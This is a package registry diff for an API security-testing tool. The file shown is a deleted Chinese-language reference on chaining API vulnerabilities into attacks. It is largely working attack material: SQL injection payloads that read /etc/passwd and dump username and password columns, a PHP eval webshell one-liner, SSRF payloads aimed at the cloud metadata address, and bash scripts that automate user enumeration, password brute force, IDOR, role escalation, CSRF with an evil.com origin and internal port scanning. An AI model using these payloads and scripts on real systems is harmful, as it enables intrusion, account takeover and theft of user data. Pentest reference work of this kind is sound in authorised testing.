opencode-api-security-testing 3.0.9 → 3.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/agents/api-cyber-supervisor.md +22 -19
- package/agents/api-probing-miner.md +34 -10
- package/agents/api-resource-specialist.md +49 -20
- package/agents/api-vuln-verifier.md +69 -18
- package/package.json +1 -1
- package/postinstall.mjs +1 -0
- package/preuninstall.mjs +43 -32
- package/src/index.ts +6 -3
- package/README.md +0 -74
- package/SKILL.md +0 -1797
- package/core/advanced_recon.py +0 -788
- package/core/agentic_analyzer.py +0 -445
- package/core/analyzers/api_parser.py +0 -210
- package/core/analyzers/response_analyzer.py +0 -212
- package/core/analyzers/sensitive_finder.py +0 -184
- package/core/api_fuzzer.py +0 -422
- package/core/api_interceptor.py +0 -525
- package/core/api_parser.py +0 -955
- package/core/browser_tester.py +0 -479
- package/core/cloud_storage_tester.py +0 -1330
- package/core/collectors/__init__.py +0 -23
- package/core/collectors/api_path_finder.py +0 -300
- package/core/collectors/browser_collect.py +0 -645
- package/core/collectors/browser_collector.py +0 -411
- package/core/collectors/http_client.py +0 -111
- package/core/collectors/js_collector.py +0 -490
- package/core/collectors/js_parser.py +0 -780
- package/core/collectors/url_collector.py +0 -319
- package/core/context_manager.py +0 -682
- package/core/deep_api_tester_v35.py +0 -844
- package/core/deep_api_tester_v55.py +0 -366
- package/core/dynamic_api_analyzer.py +0 -532
- package/core/http_client.py +0 -179
- package/core/models.py +0 -296
- package/core/orchestrator.py +0 -890
- package/core/prerequisite.py +0 -227
- package/core/reasoning_engine.py +0 -1042
- package/core/response_classifier.py +0 -606
- package/core/runner.py +0 -938
- package/core/scan_engine.py +0 -599
- package/core/skill_executor.py +0 -435
- package/core/skill_executor_v2.py +0 -670
- package/core/skill_executor_v3.py +0 -704
- package/core/smart_analyzer.py +0 -687
- package/core/strategy_pool.py +0 -707
- package/core/testers/auth_tester.py +0 -264
- package/core/testers/idor_tester.py +0 -200
- package/core/testers/sqli_tester.py +0 -211
- package/core/testing_loop.py +0 -655
- package/core/utils/base_path_dict.py +0 -255
- package/core/utils/payload_lib.py +0 -167
- package/core/utils/ssrf_detector.py +0 -220
- package/core/verifiers/vuln_verifier.py +0 -536
- package/references/README.md +0 -72
- package/references/asset-discovery.md +0 -119
- package/references/fuzzing-patterns.md +0 -129
- package/references/graphql-guidance.md +0 -108
- package/references/intake.md +0 -84
- package/references/pua-agent.md +0 -192
- package/references/report-template.md +0 -156
- package/references/rest-guidance.md +0 -76
- package/references/severity-model.md +0 -76
- package/references/test-matrix.md +0 -86
- package/references/validation.md +0 -78
- package/references/vulnerabilities/01-sqli-tests.md +0 -1128
- package/references/vulnerabilities/02-user-enum-tests.md +0 -423
- package/references/vulnerabilities/03-jwt-tests.md +0 -499
- package/references/vulnerabilities/04-idor-tests.md +0 -362
- package/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
- package/references/vulnerabilities/06-biz-logic-tests.md +0 -501
- package/references/vulnerabilities/07-security-config-tests.md +0 -511
- package/references/vulnerabilities/08-brute-force-tests.md +0 -457
- package/references/vulnerabilities/09-vulnerability-chains.md +0 -465
- package/references/vulnerabilities/10-auth-tests.md +0 -537
- package/references/vulnerabilities/11-graphql-tests.md +0 -355
- package/references/vulnerabilities/12-ssrf-tests.md +0 -396
- package/references/vulnerabilities/README.md +0 -148
- package/references/workflows.md +0 -192
|
@@ -1,465 +0,0 @@
|
|
|
1
|
-
# 漏洞关联联想
|
|
2
|
-
|
|
3
|
-
## 1. 概述
|
|
4
|
-
|
|
5
|
-
漏洞关联联想是指当发现一个漏洞时,思考该漏洞能串联哪些其他漏洞,形成攻击链。
|
|
6
|
-
|
|
7
|
-
## 2. 漏洞关联矩阵
|
|
8
|
-
|
|
9
|
-
| 发现的漏洞 | 可能关联的漏洞 | 利用路径 |
|
|
10
|
-
|-----------|---------------|----------|
|
|
11
|
-
| 用户枚举 | 暴力破解、密码重置 | 确认用户 → 定向爆破/重置 |
|
|
12
|
-
| SQL注入 | 认证绕过、数据泄露 | 获取数据 → 横向移动 |
|
|
13
|
-
| JWT泄露 | 越权、敏感数据 | 使用Token → 访问他人数据 |
|
|
14
|
-
| IDOR | 敏感数据、垂直越权 | 遍历ID → 获取数据/提权 |
|
|
15
|
-
| 文件上传 | 远程代码执行 | 上传Webshell → 服务器沦陷 |
|
|
16
|
-
| SSRF | 内网渗透 | 内网探测 → Redis/MySQL利用 |
|
|
17
|
-
| CORS | CSRF、数据窃取 | 跨域请求 → 窃取数据 |
|
|
18
|
-
| 暴力破解 | 账户接管 | 破解密码 → 登录系统 |
|
|
19
|
-
|
|
20
|
-
## 3. 攻击链模板
|
|
21
|
-
|
|
22
|
-
### 3.1 信息收集 → 利用链
|
|
23
|
-
|
|
24
|
-
```
|
|
25
|
-
信息收集类漏洞(低难度)
|
|
26
|
-
↓
|
|
27
|
-
利用类漏洞(中高难度)
|
|
28
|
-
↓
|
|
29
|
-
数据获取/权限提升
|
|
30
|
-
↓
|
|
31
|
-
持久化/横向移动
|
|
32
|
-
```
|
|
33
|
-
|
|
34
|
-
### 3.2 典型攻击链
|
|
35
|
-
|
|
36
|
-
```markdown
|
|
37
|
-
攻击链1:用户枚举 → 暴力破解 → 越权
|
|
38
|
-
├── 1. 用户枚举
|
|
39
|
-
│ GET /sys/user/checkOnlyUser?username=admin
|
|
40
|
-
│ → 确认 admin 存在
|
|
41
|
-
├── 2. 暴力破解
|
|
42
|
-
│ POST /api/login {"username":"admin","password":"admin123"}
|
|
43
|
-
│ → 登录成功,获取 token
|
|
44
|
-
└── 3. 越权操作
|
|
45
|
-
GET /api/user/info?userId=2
|
|
46
|
-
Headers: {"Authorization": "Bearer xxx"}
|
|
47
|
-
→ 越权访问他人数据
|
|
48
|
-
|
|
49
|
-
攻击链2:IDOR → 数据泄露 → 垂直越权
|
|
50
|
-
├── 1. IDOR
|
|
51
|
-
│ GET /api/order?orderId=100
|
|
52
|
-
│ → 可遍历获取他人订单
|
|
53
|
-
├── 2. 数据分析
|
|
54
|
-
│ → 发现订单中有 userId 字段
|
|
55
|
-
└── 3. 垂直越权
|
|
56
|
-
POST /api/user/role {"userId": 100, "role": "admin"}
|
|
57
|
-
→ 提升为管理员
|
|
58
|
-
|
|
59
|
-
攻击链3:SQL注入 → 文件读取 → 密钥泄露
|
|
60
|
-
├── 1. SQL注入
|
|
61
|
-
│ GET /api/user?id=1' AND SLEEP(5)--
|
|
62
|
-
│ → 时间盲注确认注入
|
|
63
|
-
├── 2. 文件读取
|
|
64
|
-
│ GET /api/user?id=1' UNION SELECT 1,LOAD_FILE('/etc/passwd')--
|
|
65
|
-
│ → 获取系统用户
|
|
66
|
-
└── 3. SSH登录
|
|
67
|
-
ssh admin@server
|
|
68
|
-
→ 服务器沦陷
|
|
69
|
-
```
|
|
70
|
-
|
|
71
|
-
## 4. 漏洞优先级排序
|
|
72
|
-
|
|
73
|
-
### 4.1 按利用难易度
|
|
74
|
-
|
|
75
|
-
| 优先级 | 漏洞类型 | 利用难度 | 说明 |
|
|
76
|
-
|--------|----------|----------|------|
|
|
77
|
-
| 1 | 用户枚举 | 低 | 直接请求即可确认 |
|
|
78
|
-
| 2 | IDOR | 低 | 修改参数值 |
|
|
79
|
-
| 3 | 敏感信息泄露 | 低 | 查看响应 |
|
|
80
|
-
| 4 | 暴力破解 | 中 | 需要多次请求 |
|
|
81
|
-
| 5 | JWT伪造 | 中 | 需要算法理解 |
|
|
82
|
-
| 6 | SQL注入 | 中 | 需要一定技巧 |
|
|
83
|
-
| 7 | 垂直越权 | 中 | 需要权限理解 |
|
|
84
|
-
| 8 | 命令注入 | 高 | 需要环境配合 |
|
|
85
|
-
|
|
86
|
-
### 4.2 按影响程度
|
|
87
|
-
|
|
88
|
-
| 影响 | 漏洞类型 | 后果 |
|
|
89
|
-
|------|----------|------|
|
|
90
|
-
| 严重 | 命令注入 | 服务器完全沦陷 |
|
|
91
|
-
| 严重 | SQL注入 | 数据库拖库 |
|
|
92
|
-
| 严重 | 垂直越权 | 获取管理员权限 |
|
|
93
|
-
| 高 | 账户接管 | 冒充用户 |
|
|
94
|
-
| 高 | 敏感数据泄露 | 数据外泄 |
|
|
95
|
-
| 中 | 水平越权 | 他人数据访问 |
|
|
96
|
-
| 中 | CSRF | 用户操作被伪造 |
|
|
97
|
-
| 低 | 信息收集 | 辅助攻击 |
|
|
98
|
-
|
|
99
|
-
## 5. 单漏洞深度联想
|
|
100
|
-
|
|
101
|
-
### 5.1 发现 SQL 注入后
|
|
102
|
-
|
|
103
|
-
```
|
|
104
|
-
SQL注入
|
|
105
|
-
↓
|
|
106
|
-
┌─────────────────────────────────────┐
|
|
107
|
-
│ 1. 认证绕过 │
|
|
108
|
-
│ ' OR '1'='1 绕过登录 │
|
|
109
|
-
└─────────────────────────────────────┘
|
|
110
|
-
↓
|
|
111
|
-
┌─────────────────────────────────────┐
|
|
112
|
-
│ 2. 数据获取 │
|
|
113
|
-
│ UNION SELECT 获取用户表 │
|
|
114
|
-
│ → 邮箱、手机号、密码Hash │
|
|
115
|
-
└─────────────────────────────────────┘
|
|
116
|
-
↓
|
|
117
|
-
┌─────────────────────────────────────┐
|
|
118
|
-
│ 3. 密码破解 │
|
|
119
|
-
│ Hash → 明文(如果弱Hash) │
|
|
120
|
-
└─────────────────────────────────────┘
|
|
121
|
-
↓
|
|
122
|
-
┌─────────────────────────────────────┐
|
|
123
|
-
│ 4. 横向移动 │
|
|
124
|
-
│ 使用破解的密码尝试其他系统 │
|
|
125
|
-
└─────────────────────────────────────┘
|
|
126
|
-
```
|
|
127
|
-
|
|
128
|
-
### 5.2 发现 JWT Token 后
|
|
129
|
-
|
|
130
|
-
```
|
|
131
|
-
JWT Token
|
|
132
|
-
↓
|
|
133
|
-
┌─────────────────────────────────────┐
|
|
134
|
-
│ 1. Token 有效性验证 │
|
|
135
|
-
│ 使用 Token 访问其他接口 │
|
|
136
|
-
└─────────────────────────────────────┘
|
|
137
|
-
↓
|
|
138
|
-
┌─────────────────────────────────────┐
|
|
139
|
-
│ 2. 权限提升 │
|
|
140
|
-
│ 篡改 payload 中的 role/userId │
|
|
141
|
-
│ → 伪造 admin/提升权限 │
|
|
142
|
-
└─────────────────────────────────────┘
|
|
143
|
-
↓
|
|
144
|
-
┌─────────────────────────────────────┐
|
|
145
|
-
│ 3. 敏感操作 │
|
|
146
|
-
│ 修改密码、删除数据、管理功能 │
|
|
147
|
-
└─────────────────────────────────────┘
|
|
148
|
-
```
|
|
149
|
-
|
|
150
|
-
### 5.3 发现文件上传后
|
|
151
|
-
|
|
152
|
-
```
|
|
153
|
-
文件上传漏洞
|
|
154
|
-
↓
|
|
155
|
-
┌─────────────────────────────────────┐
|
|
156
|
-
│ 1. 上传Webshell │
|
|
157
|
-
│ <?php @eval($_POST['cmd']); ?> │
|
|
158
|
-
└─────────────────────────────────────┘
|
|
159
|
-
↓
|
|
160
|
-
┌─────────────────────────────────────┐
|
|
161
|
-
│ 2. 获取webshell │
|
|
162
|
-
│ 访问上传的文件路径 │
|
|
163
|
-
└─────────────────────────────────────┘
|
|
164
|
-
↓
|
|
165
|
-
┌─────────────────────────────────────┐
|
|
166
|
-
│ 3. 服务器接管 │
|
|
167
|
-
│ 执行命令、读取配置文件、横向移动 │
|
|
168
|
-
└─────────────────────────────────────┘
|
|
169
|
-
```
|
|
170
|
-
|
|
171
|
-
## 6. 漏洞组合利用
|
|
172
|
-
|
|
173
|
-
### 6.1 社工+技术组合
|
|
174
|
-
|
|
175
|
-
```markdown
|
|
176
|
-
1. 用户枚举
|
|
177
|
-
→ 确认 admin, test, developer 存在
|
|
178
|
-
|
|
179
|
-
2. LinkedIn 社工
|
|
180
|
-
→ 收集这些用户的公司、职位信息
|
|
181
|
-
|
|
182
|
-
3. 生成社工密码
|
|
183
|
-
→ Company123!, Test@2024, Dev@2024
|
|
184
|
-
|
|
185
|
-
4. 暴力破解
|
|
186
|
-
→ 使用社工密码提高成功率
|
|
187
|
-
```
|
|
188
|
-
|
|
189
|
-
### 6.2 信息泄露+越权组合
|
|
190
|
-
|
|
191
|
-
```markdown
|
|
192
|
-
1. Swagger 文档泄露
|
|
193
|
-
→ 发现 /api/user/{id}/modify 接口
|
|
194
|
-
|
|
195
|
-
2. IDOR
|
|
196
|
-
→ 修改 id 参数遍历
|
|
197
|
-
|
|
198
|
-
3. 结合
|
|
199
|
-
→ 遍历修改所有用户信息
|
|
200
|
-
```
|
|
201
|
-
|
|
202
|
-
## 7. 测试检查清单
|
|
203
|
-
|
|
204
|
-
```
|
|
205
|
-
□ 发现漏洞后立即思考关联
|
|
206
|
-
□ 绘制攻击链路径
|
|
207
|
-
□ 评估每个环节的可行性
|
|
208
|
-
□ 检查漏洞优先级
|
|
209
|
-
□ 验证关联漏洞
|
|
210
|
-
□ 输出完整攻击链报告
|
|
211
|
-
```
|
|
212
|
-
|
|
213
|
-
## 8. 漏洞关联快速查询表
|
|
214
|
-
|
|
215
|
-
| 发现的漏洞 | 第一步 | 第二步 | 最终目标 |
|
|
216
|
-
|------------|--------|--------|----------|
|
|
217
|
-
| 用户枚举 | 确认用户 | 暴力破解 | 账户接管 |
|
|
218
|
-
| SQL注入 | 获取数据 | 密码破解 | 横向移动 |
|
|
219
|
-
| JWT | 验证Token | 权限提升 | 管理员 |
|
|
220
|
-
| IDOR | 遍历ID | 数据分析 | 批量获取 |
|
|
221
|
-
| SSRF | 内网探测 | 服务利用 | 内网沦陷 |
|
|
222
|
-
| CORS | 窃取数据 | 社工攻击 | 账号接管 |
|
|
223
|
-
| 上传 | Webshell | 命令执行 | 服务器 |
|
|
224
|
-
|
|
225
|
-
## 9. curl验证示例
|
|
226
|
-
|
|
227
|
-
### 9.1 攻击链1:用户枚举 → 暴力破解 → 越权
|
|
228
|
-
|
|
229
|
-
```bash
|
|
230
|
-
#!/bin/bash
|
|
231
|
-
# 攻击链验证脚本
|
|
232
|
-
|
|
233
|
-
TARGET="http://api"
|
|
234
|
-
USERNAME="admin"
|
|
235
|
-
|
|
236
|
-
echo "=== 攻击链1:用户枚举 → 暴力破解 → 越权 ==="
|
|
237
|
-
|
|
238
|
-
# Step 1: 用户枚举
|
|
239
|
-
echo "[1] 用户枚举测试"
|
|
240
|
-
curl -s -X POST "$TARGET/login" \
|
|
241
|
-
-H "Content-Type: application/json" \
|
|
242
|
-
-d "{\"username\":\"$USERNAME\",\"password\":\"wrong\"}" > step1_enum.json
|
|
243
|
-
|
|
244
|
-
if grep -q "密码错误" step1_enum.json; then
|
|
245
|
-
echo " → 用户 $USERNAME 存在(密码错误)"
|
|
246
|
-
elif grep -q "不存在" step1_enum.json; then
|
|
247
|
-
echo " → 用户 $USERNAME 不存在"
|
|
248
|
-
exit 1
|
|
249
|
-
fi
|
|
250
|
-
|
|
251
|
-
# Step 2: 暴力破解
|
|
252
|
-
echo "[2] 暴力破解测试"
|
|
253
|
-
PASSWORDS=("123456" "admin" "admin123" "password" "qwerty")
|
|
254
|
-
SUCCESS=false
|
|
255
|
-
|
|
256
|
-
for pwd in "${PASSWORDS[@]}"; do
|
|
257
|
-
RESP=$(curl -s -X POST "$TARGET/login" \
|
|
258
|
-
-H "Content-Type: application/json" \
|
|
259
|
-
-d "{\"username\":\"$USERNAME\",\"password\":\"$pwd\"}")
|
|
260
|
-
|
|
261
|
-
if echo "$RESP" | grep -q '"token"'; then
|
|
262
|
-
echo " → 密码破解成功: $pwd"
|
|
263
|
-
TOKEN=$(echo "$RESP" | jq -r '.token')
|
|
264
|
-
SUCCESS=true
|
|
265
|
-
break
|
|
266
|
-
fi
|
|
267
|
-
done
|
|
268
|
-
|
|
269
|
-
if [ "$SUCCESS" = false ]; then
|
|
270
|
-
echo " → 密码破解失败"
|
|
271
|
-
exit 1
|
|
272
|
-
fi
|
|
273
|
-
|
|
274
|
-
# Step 3: 越权操作
|
|
275
|
-
echo "[3] 越权测试"
|
|
276
|
-
curl -s -X GET "$TARGET/user/info?userId=2" \
|
|
277
|
-
-H "Authorization: Bearer $TOKEN" > step3_idor.json
|
|
278
|
-
|
|
279
|
-
if grep -q "userId" step3_idor.json && ! grep -q "无权限" step3_idor.json; then
|
|
280
|
-
echo " → 越权成功:访问了 userId=2 的数据"
|
|
281
|
-
cat step3_idor.json | jq .
|
|
282
|
-
else
|
|
283
|
-
echo " → 越权失败:无法访问他人数据"
|
|
284
|
-
fi
|
|
285
|
-
|
|
286
|
-
echo ""
|
|
287
|
-
echo "=== 攻击链验证完成 ==="
|
|
288
|
-
```
|
|
289
|
-
|
|
290
|
-
### 9.2 攻击链2:IDOR → 数据泄露 → 垂直越权
|
|
291
|
-
|
|
292
|
-
```bash
|
|
293
|
-
#!/bin/bash
|
|
294
|
-
# 攻击链验证脚本
|
|
295
|
-
|
|
296
|
-
TARGET="http://api"
|
|
297
|
-
TOKEN="user_token_here"
|
|
298
|
-
|
|
299
|
-
echo "=== 攻击链2:IDOR → 数据泄露 → 垂直越权 ==="
|
|
300
|
-
|
|
301
|
-
# Step 1: IDOR测试
|
|
302
|
-
echo "[1] IDOR测试 - 遍历订单"
|
|
303
|
-
for order_id in 100 101 102 103 104; do
|
|
304
|
-
RESP=$(curl -s -X GET "$TARGET/order?orderId=$order_id" \
|
|
305
|
-
-H "Authorization: Bearer $TOKEN")
|
|
306
|
-
|
|
307
|
-
if echo "$RESP" | grep -q '"orderId"'; then
|
|
308
|
-
echo " → orderId=$order_id: 可访问"
|
|
309
|
-
echo "$RESP" | jq .
|
|
310
|
-
fi
|
|
311
|
-
done
|
|
312
|
-
|
|
313
|
-
# Step 2: 数据分析
|
|
314
|
-
echo "[2] 分析订单数据"
|
|
315
|
-
echo " → 发现订单中包含 userId 字段"
|
|
316
|
-
|
|
317
|
-
# Step 3: 垂直越权
|
|
318
|
-
echo "[3] 垂直越权测试 - 修改角色"
|
|
319
|
-
curl -s -X POST "$TARGET/user/role" \
|
|
320
|
-
-H "Authorization: Bearer $TOKEN" \
|
|
321
|
-
-H "Content-Type: application/json" \
|
|
322
|
-
-d '{"userId": 2, "role": "admin"}' > step3_privesc.json
|
|
323
|
-
|
|
324
|
-
if grep -q '"success":true' step3_privesc.json; then
|
|
325
|
-
echo " → 垂直越权成功:已将 userId=2 提升为admin"
|
|
326
|
-
cat step3_privesc.json | jq .
|
|
327
|
-
else
|
|
328
|
-
echo " → 垂直越权失败"
|
|
329
|
-
fi
|
|
330
|
-
|
|
331
|
-
echo ""
|
|
332
|
-
echo "=== 攻击链验证完成 ==="
|
|
333
|
-
```
|
|
334
|
-
|
|
335
|
-
### 9.3 攻击链3:SQL注入 → 数据获取 → 密码破解
|
|
336
|
-
|
|
337
|
-
```bash
|
|
338
|
-
#!/bin/bash
|
|
339
|
-
# 攻击链验证脚本
|
|
340
|
-
|
|
341
|
-
TARGET="http://api"
|
|
342
|
-
|
|
343
|
-
echo "=== 攻击链3:SQL注入 → 数据获取 → 密码破解 ==="
|
|
344
|
-
|
|
345
|
-
# Step 1: SQL注入测试
|
|
346
|
-
echo "[1] SQL注入测试"
|
|
347
|
-
PAYLOAD="' OR '1'='1"
|
|
348
|
-
RESP=$(curl -s -X GET "$TARGET/user?id=1$PAYLOAD" \
|
|
349
|
-
-H "Content-Type: application/json")
|
|
350
|
-
|
|
351
|
-
if echo "$RESP" | grep -qiE "sql|mysql|oracle|error|syntax"; then
|
|
352
|
-
echo " → 发现SQL错误,可能存在注入"
|
|
353
|
-
echo "$RESP" | head -c 200
|
|
354
|
-
else
|
|
355
|
-
echo " → 未发现SQL错误"
|
|
356
|
-
fi
|
|
357
|
-
|
|
358
|
-
# Step 2: UNION注入获取数据
|
|
359
|
-
echo "[2] UNION注入获取用户数据"
|
|
360
|
-
PAYLOAD="' UNION SELECT 1,2,username,password,5,6,7 FROM users--"
|
|
361
|
-
RESP=$(curl -s -X GET "$TARGET/user?id=1 $PAYLOAD")
|
|
362
|
-
|
|
363
|
-
if echo "$RESP" | grep -q "admin\|root\|user"; then
|
|
364
|
-
echo " → UNION注入成功,获取到用户名"
|
|
365
|
-
fi
|
|
366
|
-
|
|
367
|
-
# Step 3: 分析密码Hash
|
|
368
|
-
echo "[3] 分析密码Hash"
|
|
369
|
-
echo " → 发现密码Hash,可尝试离线破解"
|
|
370
|
-
|
|
371
|
-
echo ""
|
|
372
|
-
echo "=== 攻击链验证完成 ==="
|
|
373
|
-
```
|
|
374
|
-
|
|
375
|
-
### 9.4 攻击链4:CORS → CSRF → 会话窃取
|
|
376
|
-
|
|
377
|
-
```bash
|
|
378
|
-
#!/bin/bash
|
|
379
|
-
# 攻击链验证脚本
|
|
380
|
-
|
|
381
|
-
TARGET="http://api"
|
|
382
|
-
|
|
383
|
-
echo "=== 攻击链4:CORS → CSRF → 会话窃取 ==="
|
|
384
|
-
|
|
385
|
-
# Step 1: CORS配置测试
|
|
386
|
-
echo "[1] CORS配置测试"
|
|
387
|
-
curl -s -I -H "Origin: https://evil.com" \
|
|
388
|
-
"$TARGET/user/info" > cors_headers.txt
|
|
389
|
-
|
|
390
|
-
ACAO=$(grep -i "Access-Control-Allow-Origin:" cors_headers.txt)
|
|
391
|
-
ACAC=$(grep -i "Access-Control-Allow-Credentials:" cors_headers.txt)
|
|
392
|
-
|
|
393
|
-
echo " → $ACAO"
|
|
394
|
-
echo " → $ACAC"
|
|
395
|
-
|
|
396
|
-
if echo "$ACAO" | grep -q "\*"; then
|
|
397
|
-
if echo "$ACAC" | grep -q "true"; then
|
|
398
|
-
echo " → [严重] ACAO:* + ACAC:true,可配合CSRF窃取数据"
|
|
399
|
-
else
|
|
400
|
-
echo " → [中危] ACAO:* 但无ACAC"
|
|
401
|
-
fi
|
|
402
|
-
fi
|
|
403
|
-
|
|
404
|
-
# Step 2: CSRF测试
|
|
405
|
-
echo "[2] CSRF测试"
|
|
406
|
-
curl -s -X POST "$TARGET/user/update" \
|
|
407
|
-
-H "Origin: https://evil.com" \
|
|
408
|
-
-H "Content-Type: application/json" \
|
|
409
|
-
-d '{"userId": 1, "email": "hacked@evil.com"}' > csrf_test.json
|
|
410
|
-
|
|
411
|
-
if grep -q "success" csrf_test.json; then
|
|
412
|
-
echo " → CSRF攻击可能成功"
|
|
413
|
-
else
|
|
414
|
-
echo " → CSRF防护可能生效"
|
|
415
|
-
fi
|
|
416
|
-
|
|
417
|
-
echo ""
|
|
418
|
-
echo "=== 攻击链验证完成 ==="
|
|
419
|
-
```
|
|
420
|
-
|
|
421
|
-
### 9.5 攻击链5:SSRF → 内网探测 → 服务利用
|
|
422
|
-
|
|
423
|
-
```bash
|
|
424
|
-
#!/bin/bash
|
|
425
|
-
# 攻击链验证脚本
|
|
426
|
-
|
|
427
|
-
TARGET="http://api"
|
|
428
|
-
|
|
429
|
-
echo "=== 攻击链5:SSRF → 内网探测 → 服务利用 ==="
|
|
430
|
-
|
|
431
|
-
# Step 1: SSRF测试
|
|
432
|
-
echo "[1] SSRF测试"
|
|
433
|
-
PAYLOADS=(
|
|
434
|
-
"http://127.0.0.1"
|
|
435
|
-
"http://localhost"
|
|
436
|
-
"http://169.254.169.254"
|
|
437
|
-
"http://192.168.1.1"
|
|
438
|
-
)
|
|
439
|
-
|
|
440
|
-
for payload in "${PAYLOADS[@]}"; do
|
|
441
|
-
RESP=$(curl -s -X GET "$TARGET/fetch?url=$payload")
|
|
442
|
-
|
|
443
|
-
if echo "$RESP" | grep -qiE "root:|apache|nginx|mysql|redis"; then
|
|
444
|
-
echo " → SSRF成功: $payload"
|
|
445
|
-
echo "$RESP" | head -c 300
|
|
446
|
-
elif echo "$RESP" | grep -qi "connection\|refused\|timeout"; then
|
|
447
|
-
echo " → $payload: 连接被拒绝(可能有防护)"
|
|
448
|
-
else
|
|
449
|
-
echo " → $payload: 无明显响应"
|
|
450
|
-
fi
|
|
451
|
-
done
|
|
452
|
-
|
|
453
|
-
# Step 2: 内网端口探测
|
|
454
|
-
echo "[2] 内网端口探测"
|
|
455
|
-
for port in 80 443 3306 6379 8080; do
|
|
456
|
-
RESP=$(curl -s -m 3 -X GET "$TARGET/fetch?url=http://127.0.0.1:$port")
|
|
457
|
-
|
|
458
|
-
if [ $? -eq 0 ]; then
|
|
459
|
-
echo " → 端口 $port: 开放"
|
|
460
|
-
fi
|
|
461
|
-
done
|
|
462
|
-
|
|
463
|
-
echo ""
|
|
464
|
-
echo "=== 攻击链验证完成 ==="
|
|
465
|
-
```
|